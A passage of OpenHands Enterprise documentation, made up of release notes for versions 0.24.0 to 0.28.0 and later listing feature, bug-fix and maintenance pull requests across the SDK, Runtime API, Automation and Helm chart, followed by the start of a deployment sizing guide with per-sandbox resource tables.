https://github.com/OpenHands/software-agent-sdk/pull/4188 -* feat: expose agent_context.load_memory in the agent-settings schema by @hieptl in https://github.com/OpenHands/software-agent-sdk/pull/4205 -* feat: publish typed Agent Server OpenAPI contract by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/4229 -* feat: automate TypeScript client contract handoff by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/4234 -* feat(agent-server): add MCP settings CRUD endpoints by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/4294 -* feat: add MCPServer.enabled to switch a server off without removing it by @hieptl in https://github.com/OpenHands/software-agent-sdk/pull/4307 - -#### Bug Fixes -* fix(sdk): rehydrate persisted subscription LLMs by @lufen in https://github.com/OpenHands/software-agent-sdk/pull/4092 -* fix(observability): stamp tool_call_id onto the TOOL span by @simonrosenberg in https://github.com/OpenHands/software-agent-sdk/pull/4010 -* Fix REST API contract summary deduplication by @enyst in https://github.com/OpenHands/software-agent-sdk/pull/3918 -* fix(acp): bound ACP server startup with a timeout by @rsd-darshan in https://github.com/OpenHands/software-agent-sdk/pull/4126 -* fix(visualizer): show per-request token usage alongside cumulative by @luciobaiocchi in https://github.com/OpenHands/software-agent-sdk/pull/4146 -* fix(agent): apply filter_tools_regex to runtime tools by @VascoSch92 in https://github.com/OpenHands/software-agent-sdk/pull/4186 -* fix(sdk): accept boolean JSON Schema nodes in _process_schema_node by @VascoSch92 in https://github.com/OpenHands/software-agent-sdk/pull/4185 -* fix(sdk): mask all registered secrets, not only exported ones by @VascoSch92 in https://github.com/OpenHands/software-agent-sdk/pull/4191 -* fix(acp): persist rotated Codex credentials by @simonrosenberg in https://github.com/OpenHands/software-agent-sdk/pull/4124 -* fix(settings): restore MCP schema migration by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/4013 -* fix(terminal): submit multiline PowerShell commands on Windows by @VascoSch92 in https://github.com/OpenHands/software-agent-sdk/pull/4155 -* fix(agent-server): default bind host to loopback without a session API key by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/4180 -* fix: parallel tool metrics by @luciobaiocchi in https://github.com/OpenHands/software-agent-sdk/pull/4193 -* fix(agent-server): /api/vscode/url without base_url advertises the configured VSCode port by @harish-chandramowli in https://github.com/OpenHands/software-agent-sdk/pull/4181 -* fix(agent-server): require credential reactivation before cold load by @simonrosenberg in https://github.com/OpenHands/software-agent-sdk/pull/4198 -* fix(sdk): reject unknown event parents on append by @hxaxd in https://github.com/OpenHands/software-agent-sdk/pull/4089 -* fix(agent-server): redact LLM & condenser secrets in download-trajectory by @smolpaws in https://github.com/OpenHands/software-agent-sdk/pull/4217 -* fix: honor the stored memory preference on profile launches by @hieptl in https://github.com/OpenHands/software-agent-sdk/pull/4223 -* fix(agent-server): include server_base_path in the advertised VSCode URL by @harish-chandramowli in https://github.com/OpenHands/software-agent-sdk/pull/4222 -* fix(sdk): mark corrective nudge as environment event by @Sehlani042 in https://github.com/OpenHands/software-agent-sdk/pull/3954 -* fix(security): authenticate WebSockets outside URLs by @simonrosenberg in https://github.com/OpenHands/software-agent-sdk/pull/4279 -* fix(llm): generalize model capability resolution by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/4200 -* fix(security): stop logging runtime command contents by @simonrosenberg in https://github.com/OpenHands/software-agent-sdk/pull/4280 - -#### Maintenance -* chore(deps): bump starlette from 1.0.1 to 1.3.1 by @dependabot[bot] in https://github.com/OpenHands/software-agent-sdk/pull/4140 -* chore(deps): bump pyjwt from 2.12.0 to 2.13.0 by @dependabot[bot] in https://github.com/OpenHands/software-agent-sdk/pull/4138 -* chore(deps): bump tornado from 6.5.5 to 6.5.7 by @dependabot[bot] in https://github.com/OpenHands/software-agent-sdk/pull/4139 -* chore(deps): bump python-multipart from 0.0.27 to 0.0.31 by @dependabot[bot] in https://github.com/OpenHands/software-agent-sdk/pull/4141 -* chore(deps): bump cryptography from 46.0.7 to 48.0.1 by @dependabot[bot] in https://github.com/OpenHands/software-agent-sdk/pull/4142 -* bump laminar to latest version, fix compat issues by @dinmukhamedm in https://github.com/OpenHands/software-agent-sdk/pull/4179 -* perf(agent-server): index conversation execution status for search/count by @VascoSch92 in https://github.com/OpenHands/software-agent-sdk/pull/4201 -* perf(agent-server): evict idle conversations from memory after a configurable TTL by @VascoSch92 in https://github.com/OpenHands/software-agent-sdk/pull/4202 -* Import SkillInfo from the SDK instead of redefining it in skills_router by @onatozmenn in https://github.com/OpenHands/software-agent-sdk/pull/4277 -* Move duplicated LLM option blocks into common.py by @onatozmenn in https://github.com/OpenHands/software-agent-sdk/pull/4276 -* Share the Gemini edit/write_file diff rendering by @onatozmenn in https://github.com/OpenHands/software-agent-sdk/pull/4278 - ---- - -### Runtime API - -#### Features -* feat(cleanup): paginate cleanup_stuck_pvcs PVC list by @tofarr in https://github.com/OpenHands/runtime-api/pull/658 -* feat: surface pod scheduling/image failure reason in sandbox status by @ak684 in https://github.com/OpenHands/runtime-api/pull/615 - -#### Bug Fixes -* fix(cleanup): archive with actual conversation IDs by @simonrosenberg in https://github.com/OpenHands/runtime-api/pull/654 -* fix: reap runtimes stuck Pending/unschedulable by @ak684 in https://github.com/OpenHands/runtime-api/pull/655 -* fix: Optimize idle runtime cleanup pod listing by @tofarr in https://github.com/OpenHands/runtime-api/pull/662 - -#### Maintenance -* perf(cleanup): page snapshot_and_delete_idle_pvcs over bound PVCs by @tofarr in https://github.com/OpenHands/runtime-api/pull/660 -* build(deps): bump starlette from 0.49.1 to 1.3.1 by @dependabot[bot] in https://github.com/OpenHands/runtime-api/pull/650 - ---- - -### Automation - -#### Features -* feat: add automation server info endpoint by @malhotra5 in https://github.com/OpenHands/automation/pull/248 -* feat: capture automation telemetry events by @malhotra5 in https://github.com/OpenHands/automation/pull/254 -* feat: expose requested automation event types by @malhotra5 in https://github.com/OpenHands/automation/pull/260 -* feat: expose automation capabilities and preflight validation by @hieptl in https://github.com/OpenHands/automation/pull/270 - -#### Bug Fixes -* fix: add server versions to telemetry by @malhotra5 in https://github.com/OpenHands/automation/pull/256 -* fix: normalize MCP config shapes in automation presets by @malhotra5 in https://github.com/OpenHands/automation/pull/257 -* fix: attribute PostHog events to automation actors by @neubig in https://github.com/OpenHands/automation/pull/265 -* fix(security): keep injected secrets out of commands by @simonrosenberg in https://github.com/OpenHands/automation/pull/267 - -#### Maintenance -* chore: Add missing index on automation_runs.automation_id by @aivong-openhands in https://github.com/OpenHands/automation/pull/250 - ---- - -### OpenHands Cloud (Helm Chart) - -#### Features -* feat: enable the pending-runtime reaper on OHE installs by @ak684 in https://github.com/OpenHands/OpenHands-Cloud/pull/931 -* feat(charts): add external S3 file store support by @jlav in https://github.com/OpenHands/OpenHands-Cloud/pull/946 -* feat(openhands): PLTF-3258 re-add fail guard for postgresql disabled without external database by @aivong-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/948 -* feat: add SMTP and budget maintenance deployment wiring by @saurya in https://github.com/OpenHands/OpenHands-Cloud/pull/780 -* feat: wire Agent Canvas through Replicated/Helm installs by @lilagrc in https://github.com/OpenHands/OpenHands-Cloud/pull/954 -* feat(rustfs): PLTF-1250 optional in-cluster object store by @aivong-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/983 -* feat(charts): adopt kubernetes recommended labels by @jlav in https://github.com/OpenHands/OpenHands-Cloud/pull/960 -* feat(dns): add a simple single-wildcard hostname layout by @jlav in https://github.com/OpenHands/OpenHands-Cloud/pull/985 - -#### Bug Fixes -* fix(openhands): namespace-qualify bundled litellm url for sandboxes by @jlav in https://github.com/OpenHands/OpenHands-Cloud/pull/937 -* fix(openhands): validate filestore values and test external S3 env by @jlav in https://github.com/OpenHands/OpenHands-Cloud/pull/947 -* fix(openhands): PLTF-3258 scope render guards to enabled releases by @aivong-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/950 -* fix: increase Replicated MinIO resource headroom by @ak684 in https://github.com/OpenHands/OpenHands-Cloud/pull/970 -* fix(integrations-hub): default admin.emails to empty by @tofarr in https://github.com/OpenHands/OpenHands-Cloud/pull/976 -* fix(budget-maintenance): disable the budget maintenance cronjob by default by @jlav in https://github.com/OpenHands/OpenHands-Cloud/pull/978 -* fix(minio): PLTF-1250 stop the bundled bucket job purging data on every upgrade by @aivong-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/981 -* fix(integrations-hub): derive public base URL by @neubig in https://github.com/OpenHands/OpenHands-Cloud/pull/963 -* fix(litellm): PLTF-3363 bump pinned litellm image to 1.93.0 by @aivong-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/987 -* fix(auth): extend Keycloak identity provider timeout by @ak684 in https://github.com/OpenHands/OpenHands-Cloud/pull/975 -* fix(troubleshoot): PLTF-3264 unblock support bundle exec collectors on Helm installs by @aivong-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/989 -* fix(replicated): PLTF-3264 include app and license info in support bundles by @aivong-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/992 -* fix(replicated): PLTF-3264 pass the SDK its pull secret in map form by @aivong-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/996 - -#### Maintenance -* ci: PLTF-3287 sticky comment notify on openhands chart appVersion drift by @aivong-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/951 -* chore(openhands-secrets): remove no-op config keys by @jlav in https://github.com/OpenHands/OpenHands-Cloud/pull/871 -* chore(openhands): remove no-op values file keys by @jlav in https://github.com/OpenHands/OpenHands-Cloud/pull/869 -* chore(openhands): pin redis master resources to effective values by @jlav in https://github.com/OpenHands/OpenHands-Cloud/pull/868 -* revert: re-enable budget maintenance by default by @saurya in https://github.com/OpenHands/OpenHands-Cloud/pull/982 - -## 0.28.0 - -This release adds the embedded **Agent Canvas** endpoint (mounted under `your-openhands-instance.acmeco.com/canvas`). Agent Canvas will coexist with the current OpenHands Enterprise conversation interface for the time being. A future release will announce the deprecation date for the current interface, after which Agent Canvas will become the default UI; in the meantime, teams can begin experimenting with the new Agent Canvas experience and share feedback with the OpenHands product teams. - -Additionally, this release brings better Helm chart validation and more configuration options to make installs easier to configure and validate. The rest of the release is focused on stability and maintenance fixes. - -### Enterprise Server - -#### Bug Fixes -* fix: retry idempotent runtime-api reads once on timeout by @ak684 in https://github.com/OpenHands/OpenHands/pull/15266 -* fix(agent-profiles): honor profile settings in cloud launches by @simonrosenberg in https://github.com/OpenHands/OpenHands/pull/15228 -* fix: Fix CVE-2026-53571: Update vite to 8.0.16, 7.3.5, 6.4.3 by @mamoodi in https://github.com/OpenHands/OpenHands/pull/14982 -* fix: restore automations login redirects by @malhotra5 in https://github.com/OpenHands/OpenHands/pull/15295 -* fix: Avoid logout on transient provider get_user errors by @malhotra5 in https://github.com/OpenHands/OpenHands/pull/15305 -* fix: treat Integrations Hub as a cross-app route by @malhotra5 in https://github.com/OpenHands/OpenHands/pull/15324 -* fix: add managed LLM key refresh endpoint by @neubig in https://github.com/OpenHands/OpenHands/pull/15023 -* fix(app-server): restore previous DB pool_size default by @dylan-openhands in https://github.com/OpenHands/OpenHands/pull/15333 -* fix: Debounce last_used_at writes in ApiKeyStore.validate_api_key by @tofarr in https://github.com/OpenHands/OpenHands/pull/15331 -* fix(jira): allow conversations without repositories by @tofarr in https://github.com/OpenHands/OpenHands/pull/15328 - ---- - -### Runtime API - -#### Bug Fixes -* fix: recycle pooled DB connections and bound pg8000 socket reads by @ak684 in https://github.com/OpenHands/runtime-api/pull/640 -* fix(cleanup): paginate deployment listing to stop OOM in cleanup job by @rbren in https://github.com/OpenHands/runtime-api/pull/642 -* fix(cleanup): hold archive concurrency slot until worker finishes (#643) by @aivong-openhands in https://github.com/OpenHands/runtime-api/pull/644 - -#### Maintenance -* perf(cleanup): batch PVC snapshot waits instead of blocking serially by @jlav in https://github.com/OpenHands/runtime-api/pull/648 -* build(deps): bump python-multipart from 0.0.27 to 0.0.31 by @dependabot[bot] in https://github.com/OpenHands/runtime-api/pull/652 -* build(deps): bump cryptography from 46.0.7 to 48.0.1 by @dependabot[bot] in https://github.com/OpenHands/runtime-api/pull/651 - ---- - -### OpenHands Cloud (Helm Chart) - -#### Features -* feat(openhands): PLTF-3256 add values.schema.json for chart values validation by @aivong-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/920 -* feat(openhands): PLTF-3257 add NOTES.txt post-install output to the openhands chart by @aivong-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/922 -* feat: mount Agent Canvas under /canvas by @malhotra5 in https://github.com/OpenHands/OpenHands-Cloud/pull/900 -* feat: Added environment variable for RUNTIME_API_BASE_URL by @tofarr in https://github.com/OpenHands/OpenHands-Cloud/pull/926 -* feat(openhands): PLTF-3258 add fail guard for ingress.enabled without ingress.host by @aivong-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/923 -* feat: route Integrations Hub on the primary OpenHands host by @neubig in https://github.com/OpenHands/OpenHands-Cloud/pull/899 -* feat: expose sandbox ephemeral-storage as a configurable field by @ak684 in https://github.com/OpenHands/OpenHands-Cloud/pull/930 - -#### Bug Fixes -* fix(release): make lint pass --app [PLTF-3195] by @dylan-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/898 -* fix: preserve Integrations Hub API auth responses by @neubig in https://github.com/OpenHands/OpenHands-Cloud/pull/933 - -#### Maintenance -* chore(postgres): remove obsolete emptyDir-to-PVC migration by @jlav in https://github.com/OpenHands/OpenHands-Cloud/pull/919 - -## 0.24.0 - -This release introduces a **Usage & Monitoring** dashboard, giving organization administrators visibility into AI spend and adoption across the organization. This dashboard provides high-level reports showing conversation counts, active sessions, and cost-per-conversation metrics, along with detailed conversation, user, and model-level breakdowns to help teams measure efficiency and ROI. - -The new **Budgets** feature -- also enabled for organization admins -- enables org-level spending limits with configurable alert thresholds (e.g., 80%, 90%, 100%) delivered via email or Slack. Default budgets and override budgets allow administrators to manage individual user spending limits. - -The **Settings → Agent** page enables the use of third-party agents -- like Claude Code or Codex -- on OpenHands Enterprise sandboxes through the ACP (Agent Canvas Protocol) framework. - -Several additional Jira Cloud and Data CEnter enhancements have been made to improve overall integration experience. - -### Enterprise Server - -#### Features -* feat: implement semantic file chunking using tree-sitter AST parsing by @ysinghc in https://github.com/OpenHands/OpenHands/pull/14699 -* feat(org): Add organization conversation admin dashboard by @saurya in https://github.com/OpenHands/OpenHands/pull/14846 -* feat(app-server): capture production workspace state — initial snapshot at start + archive before delete (APP-2403) by @simonrosenberg in https://github.com/OpenHands/OpenHands/pull/14953 -* feat(device-verify): align warning, button color, and add workspace dropdown by @tofarr in https://github.com/OpenHands/OpenHands/pull/15031 -* feat(enterprise/auth): add super roles via user.role_id with permission fallback by @chuckbutkus in https://github.com/OpenHands/OpenHands/pull/14937 -* feat(org): expose caller permissions on GET /organizations/{id}/me by @VascoSch92 in https://github.com/OpenHands/OpenHands/pull/15048 -* feat(api-keys): add optional active window (not_before & expires_at) by @tofarr in https://github.com/OpenHands/OpenHands/pull/15085 -* feat(app-server): add repo/branch to Laminar trace metadata by @simonrosenberg in https://github.com/OpenHands/OpenHands/pull/15059 -* feat: add parallel tool calls (tool_concurrency_limit) to agent settings by @VascoSch92 in https://github.com/OpenHands/OpenHands/pull/14929 -* feat(api-keys): make 'unbound' org scope an explicit, first-class option by @tofarr in https://github.com/OpenHands/OpenHands/pull/15096 -* feat(jira-dc): fix the integration panel so members get guidance, not the admin setup form by @ak684 in https://github.com/OpenHands/OpenHands/pull/15040 -* feat: Add dynamic marketplace support for plugin registration by @HeyItsChloe in https://github.com/OpenHands/OpenHands/pull/14887 -* feat(saas-auth): accept api_key cookie as a fallback credential by @tofarr in https://github.com/OpenHands/OpenHands/pull/15101 -* feat(enterprise/auth): super-admin management endpoint (grant/revoke/list) by @jpshackelford in https://github.com/OpenHands/OpenHands/pull/15006 -* feat: rename admin dashboard to usage & monitoring by @saurya in https://github.com/OpenHands/OpenHands/pull/15146 -* feat: add SMTP email service by @saurya in https://github.com/OpenHands/OpenHands/pull/15144 -* feat: track user login timestamps by @saurya in https://github.com/OpenHands/OpenHands/pull/15148 -* feat: surface email enabled for smtp/resend by @saurya in https://github.com/OpenHands/OpenHands/pull/15185 -* feat: pass repository metadata to observability traces by @neubig in https://github.com/OpenHands/OpenHands/pull/14431 -* feat(enterprise): Agent Profiles on the cloud/SaaS backend (#15044) by @simonrosenberg in https://github.com/OpenHands/OpenHands/pull/15060 -* feat(backend): Add Budgets dashboard and expand Usage Dashboard by @saurya in https://github.com/OpenHands/OpenHands/pull/15149 -* feat: budgets and usage monitoring UI by @saurya in https://github.com/OpenHands/OpenHands/pull/15186 -* feat: surface email enabled for smtp/resend by @saurya in https://github.com/OpenHands/OpenHands/pull/15214 -* feat(app-server): enrich final archive manifests and remove initial snapshots by @simonrosenberg in https://github.com/OpenHands/OpenHands/pull/15058 -* feat(enterprise): make BYOR key alias pattern configurable by @tofarr in https://github.com/OpenHands/OpenHands/pull/15232 - -#### Bug Fixes -* fix(jira): make Jira Cloud and Jira DC HTTP timeouts configurable and consistent by @ak684 in https://github.com/OpenHands/OpenHands/pull/15012 -* fix: Fix CVE-2026-44681: Update authlib to >=1.6.12 by @mamoodi in https://github.com/OpenHands/OpenHands/pull/14983 -* fix: don't switch LLM profile before the conversation UUID exists (avoids 422) by @ak684 in https://github.com/OpenHands/OpenHands/pull/14900 -* fix(enterprise): log automation HTTP response failures as errors by @wgu9 in https://github.com/OpenHands/OpenHands/pull/15004 -* fix(enterprise): add alembic migration for execution_status column by @tofarr in https://github.com/OpenHands/OpenHands/pull/15030 -* fix(jira-dc): more forgiving repo + mention resolution for Data Center by @ak684 in https://github.com/OpenHands/OpenHands/pull/15034 -* fix(device-verify): rename 'Workspace' dropdown to 'Organization' by @tofarr in https://github.com/OpenHands/OpenHands/pull/15057 -* fix(jira-dc): don't org-gate a personal-workspace Jira DC integration by @ak684 in https://github.com/OpenHands/OpenHands/pull/15036 -* fix: stream LLM tokens for cloud conversations and profile switches by @VascoSch92 in https://github.com/OpenHands/OpenHands/pull/15021 -* fix: set email person property in PostHog during onboarding completion by @lilagrc in https://github.com/OpenHands/OpenHands/pull/15070 -* fix: Timezones stored in the db do not have a timezone by @tofarr in https://github.com/OpenHands/OpenHands/pull/15092 -* fix: add test for InMemoryRateLimiter.__init__ to prevent duplicate assignment regression by @aivong-openhands in https://github.com/OpenHands/OpenHands/pull/14729 -* fix(frontend): stop streamed deltas rendering twice and fragmenting in V1 chat by @shanemort1982 in https://github.com/OpenHands/OpenHands/pull/15108 -* fix: crash when request.client is None in InMemoryRateLimiter by @rakshith1928 in https://github.com/OpenHands/OpenHands/pull/15119 -* fix(sandbox-spec): fall back to defaults when runtime-api has no warm runtimes by @tofarr in https://github.com/OpenHands/OpenHands/pull/15141 -* fix: settings page scroll layout by @saurya in https://github.com/OpenHands/OpenHands/pull/15147 -* fix(app_server): pass flat mcp_config shape to SDK Agent by @tofarr in https://github.com/OpenHands/OpenHands/pull/15159 -* fix: scroll settings sidebar so Skills is reachable in orgs by @hieptl in https://github.com/OpenHands/OpenHands/pull/15138 -* fix(frontend): read SDK 1.31.x flat mcp_config wire format by @tofarr in https://github.com/OpenHands/OpenHands/pull/15165 -* fix(app_server): derive agent server image from package version by @tofarr in https://github.com/OpenHands/OpenHands/pull/15168 -* fix(app-server): pass index columns as a list in migration 013 by @VascoSch92 in https://github.com/OpenHands/OpenHands/pull/15176 -* fix: default ENABLE_ACP on so ACP agent settings show in OH Cloud by @hieptl in https://github.com/OpenHands/OpenHands/pull/15183 -* fix: send authenticated marketplace URLs to agent-server by @hieptl in https://github.com/OpenHands/OpenHands/pull/15187 -* fix: prevent webhook-driven DB connection leaks by @tofarr in https://github.com/OpenHands/OpenHands/pull/15212 -* fix(frontend): mention SMTP env vars for budget alerts by @saurya in https://github.com/OpenHands/OpenHands/pull/15218 -* fix(enterprise): cascade-delete conversation_cost_events on conversation delete by @tofarr in https://github.com/OpenHands/OpenHands/pull/15220 -* fix: Enable LIFO database connection pooling by @tofarr in https://github.com/OpenHands/OpenHands/pull/15225 -* fix(app-server): preserve observability context metadata by @hxaxd in https://github.com/OpenHands/OpenHands/pull/15215 -* fix(app-server): preserve conversation created_at across lifecycle webhooks by @Sujit-1509 in https://github.com/OpenHands/OpenHands/pull/15243 -* fix(mcp): preserve SaaS credentials with encrypted storage by @simonrosenberg in https://github.com/OpenHands/OpenHands/pull/15257 -* fix(frontend): restore cross-domain PostHog tracking by aligning client/server distinct_id (WIP) by @lilagrc in https://github.com/OpenHands/OpenHands/pull/15100 -* fix(app-server): lower DB pool defaults and make them env-tunable by @dylan-openhands in https://github.com/OpenHands/OpenHands/pull/15270 -* fix(mcp): preserve MCP auth secrets stripped by settings GET round-trip by @jlav in https://github.com/OpenHands/OpenHands/pull/15285 - -#### Maintenance -* build: pin dependency versions exactly by @rbren in https://github.com/OpenHands/OpenHands/pull/14384 -* ci: add release ready gate by @enyst in https://github.com/OpenHands/OpenHands/pull/14987 -* ci: PLTF-2960 open a chart image-tag bump PR on cloud release by @aivong-openhands in https://github.com/OpenHands/OpenHands/pull/15166 -* ci: PLTF-2960 sync chart appVersion with cloud image tag by @aivong-openhands in https://github.com/OpenHands/OpenHands/pull/15219 -* ci: wait for the docker build before retagging images by @jlav in https://github.com/OpenHands/OpenHands/pull/15213 -* chore: Update README.md by @rbren in https://github.com/OpenHands/OpenHands/pull/15271 - ---- - -### Software Agent SDK - -#### Features -* feat(agent-server): expose repository metadata for workspace archives by @simonrosenberg in https://github.com/OpenHands/software-agent-sdk/pull/3932 -* feat: commit-history API — list commits and per-commit diffs by @hieptl in https://github.com/OpenHands/software-agent-sdk/pull/4075 -* feat(security): add ToolShieldLLMSecurityAnalyzer by @xli04 in https://github.com/OpenHands/software-agent-sdk/pull/2911 - -#### Bug Fixes -* fix(skills): match keyword triggers on whole words only by @VascoSch92 in https://github.com/OpenHands/software-agent-sdk/pull/4008 -* fix(sdk): reconnect remote conversation websocket by @bozhnyukAlex in https://github.com/OpenHands/software-agent-sdk/pull/3987 -* fix(security): add a secret-disclosure consent rule to the agent security policy by @warmjademe in https://github.com/OpenHands/software-agent-sdk/pull/3823 -* fix(sdk): keep legacy history on resume when the stored tail is a non-tree artifact by @VascoSch92 in https://github.com/OpenHands/software-agent-sdk/pull/4068 -* fix: support GPT-5.6 across Codex authentication by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/4056 -* fix: pick a display base ref that keeps committed work visible by @hieptl in https://github.com/OpenHands/software-agent-sdk/pull/4065 -* fix(mcp): validate secrets after parsing by @simonrosenberg in https://github.com/OpenHands/software-agent-sdk/pull/4099 -* fix(skills): make marketplaces additive to public skills by @rsd-darshan in https://github.com/OpenHands/software-agent-sdk/pull/4087 -* fix(mcp): preserve nested object properties in LLM-facing tool schema by @ixchio in https://github.com/OpenHands/software-agent-sdk/pull/4011 -* [codex] fix ACP prompt argument order by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/3996 - -#### Maintenance -* ci(version-bump-prs): make PR-creation steps independent by @VascoSch92 in https://github.com/OpenHands/software-agent-sdk/pull/4051 -* ci: add release security-scan by @smolpaws in https://github.com/OpenHands/software-agent-sdk/pull/4042 -* chore(deps): bump MishaKav/pytest-coverage-comment from 1.7.2 to 1.10.0 by @dependabot[bot] in https://github.com/OpenHands/software-agent-sdk/pull/4046 -* chore(deps): bump docker/setup-buildx-action from 4.0.0 to 4.2.0 by @dependabot[bot] in https://github.com/OpenHands/software-agent-sdk/pull/4045 - ---- - -### Runtime API - -#### Features -* feat(logging): emit exc_info and stack_info as JSON arrays by @tofarr in https://github.com/OpenHands/runtime-api/pull/635 -* feat(cleanup): enrich final workspace archive manifests by @simonrosenberg in https://github.com/OpenHands/runtime-api/pull/630 - -#### Bug Fixes -* fix: prevent DetachedInstanceError on Runtime accessed after session close by @tofarr in https://github.com/OpenHands/runtime-api/pull/636 - ---- - -### OpenHands Cloud (Helm Chart) - -#### Features -* feat: upgrade embedded cluster to 2.19.2+k8s-1.34 by @jlav in https://github.com/OpenHands/OpenHands-Cloud/pull/821 -* feat: upgrade embedded cluster to 2.19.2+k8s-1.35 by @jlav in https://github.com/OpenHands/OpenHands-Cloud/pull/822 -* feat: upgrade embedded cluster to 2.19.2+k8s-1.36 by @jlav in https://github.com/OpenHands/OpenHands-Cloud/pull/826 -* feat(sysbox): default sandbox isolation on the embedded cluster by @jlav in https://github.com/OpenHands/OpenHands-Cloud/pull/770 -* feat: PLTF-3196 Configure global OpenHands resolver label by @aivong-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/807 -* feat: PLTF-2960 sync metadata with image tag bumps by @aivong-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/828 -* feat: Add replicated vendor portal links in release workflows by @dylan-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/833 -* feat: PLTF-3198 enable the Replicated SDK by default for helm installs by @aivong-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/895 -* feat(replicated): add OEM User Creation Flow advanced option by @jpshackelford in https://github.com/OpenHands/OpenHands-Cloud/pull/914 - -#### Bug Fixes -* fix(postgres): raise embedded postgres memory limit to avoid OOM by @jlav in https://github.com/OpenHands/OpenHands-Cloud/pull/829 -* fix: improve integrations-hub Datadog and probe configuration by @neubig in https://github.com/OpenHands/OpenHands-Cloud/pull/862 -* fix(openhands): stop warm-runtimes job pods matching the runtime-api Service selector by @ak684 in https://github.com/OpenHands/OpenHands-Cloud/pull/867 -* fix(openhands): mirror agentServerEnv into warm-runtime env so warm pools stay claimable by @ak684 in https://github.com/OpenHands/OpenHands-Cloud/pull/866 -* fix: set default agent-server tag back to 1.36.0-python by @jlav in https://github.com/OpenHands/OpenHands-Cloud/pull/908 - -#### Maintenance -* ci: PLTF-2920 dispatch staging chart bumps after publish by @aivong-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/801 -* refactor(openhands): rename gitlab webhook install cronjob by @jlav in https://github.com/OpenHands/OpenHands-Cloud/pull/865 -* ci: PLTF-3193 dispatch development chart bumps after publish by @aivong-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/843 -* test: PLTF-1257 helm-unittest setup by @aivong-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/894 -* chore: add CODEOWNERS by @jlav in https://github.com/OpenHands/OpenHands-Cloud/pull/878 - -### Sizing Guide -Source: https://docs.openhands.dev/enterprise/sizing-guide.md - -OpenHands Enterprise deployments are sized primarily based on expected **peak concurrent sandboxes** — the largest number of sandboxes you expect to be running at the same time. Keep in mind that one user can have multiple sandboxes running at one time. - - - The **Users** column in the tables below is a rough translation of peak sandboxes into headcount, not an input. Size on peak sandboxes; the user estimate is a very rough guide - - -## Planning Unit - -Both tables below are built from the same per-sandbox allocation: - -| Resource | Per sandbox | -|----------|-------------| -| CPU | 0.5 vCPU | -| Memory | 4 GiB | -| Node disk | 10 GiB | -| Volume storage | 10 GiB | - -If you raise the sandbox defaults (for large monorepos or memory-hungry builds), scale the totals in the tables by the same factor. See [Resource Limits](/enterprise/k8s-install/resource-limits) for how to change these values. - -## Installation Modes - -This guide covers the two supported installation modes: - - - - The installer builds a single-node k0s cluster on a VM you provide. Fixed capacity, configured through the Admin Console, everything bundled on one machine. - - - Install into a cluster you already run, with standard Kubernetes elasticity and autoscaling. - - - -## Replicated Embedded Cluster — Single VM - -Machine sizes below are based on the peak sandboxes, so feel free to size up or down based on expected usage. - -| Peak sandboxes | Users (estimate) | VM | Example machine types | Data disk (starting recommendation) | -|----------------|------------------|----|-----------------------|-------------------------------------| -| **5** | ~25 | 8 vCPU / 32 GiB | `e2-standard-8`, `m6i.2xlarge`, `D8s_v5` | 500 GiB SSD | -| **15** | ~60 | 16 vCPU / 64 GiB | `n2-standard-16`, `m6i.4xlarge`, `D16s_v5` | 1 TiB SSD | -| **30** | ~125 | 32 vCPU / 128 GiB | `n2-standard-32`, `m6i.8xlarge`, `D32s_v5` | 1.5 TiB SSD | -| **50** | ~250 | 64 vCPU / 256 GiB | `n2-standard-64`, `m6i.16xlarge`, `D64s_v5` | 3 TiB SSD | -| **100** | ~400 | 96 vCPU / 384 GiB | `n2-standard-96`, `m6i.24xlarge`, `D96s_v5` | 4 TiB SSD | -| **Above 100** | — | Use a Kubernetes install, or contact us for a sizing consultation | — | — | - -The 16 vCPU / 64 GiB row matches the minimum VM in the [Quick Start](/enterprise/quick-start) system requirements. Trials that stay below roughly 15 concurrent sandboxes are well served by that baseline. - - - **Put the data disk on a separate expandable volume, not the boot disk.** Sandbox volumes on a single VM are host directories that consume actual bytes rather than preallocating, so the disk grows with real usage and is meant to be resized in place as demand increases. - - -## Replicated Helm Installation - -Use two node pools: a tainted pool that runs **only** sandboxes, and an untainted pool that runs everything else. This keeps a burst of sandboxes from evicting platform components. - -Recommended node pools: - -- **Sandbox pool**: 16 vCPU / 64 GiB / 400 GiB SSD -- **Platform pool**: 8 vCPU / 32 GiB / 100 GiB - -| Peak sandboxes | Users (estimate) | Sandbox nodes (min–max) | Platform nodes | Volume storage (start) | PostgreSQL (in-cluster by default) | -|----------------|------------------|-------------------------|----------------|------------------------|------------------------------------| -| **10** | ~50 | 1–1 | 2 | 1 TiB | 2 vCPU / 8 GiB — fits the platform pool | -| **25** | ~125 | 1–3 | 2 | 2.5 TiB | 2 vCPU / 8 GiB — fits the platform pool | -| **50** | ~250 | 1–5 | 2 | 5 TiB | 2 vCPU / 8 GiB — fits the platform pool | -| **100** | ~500 | 1–10 | 3 | 10 TiB | 4 vCPU / 16 GiB — fits the platform pool | -| **200** | ~1,000 | 2–20 | 3 | 20 TiB | 4 vCPU / 16 GiB — fits the platform pool | -| **500** | ~2,500 | 3–48 | 4 | 50 TiB | 8 vCPU / 32 GiB — **needs a dedicated node** | -| **1,000** | 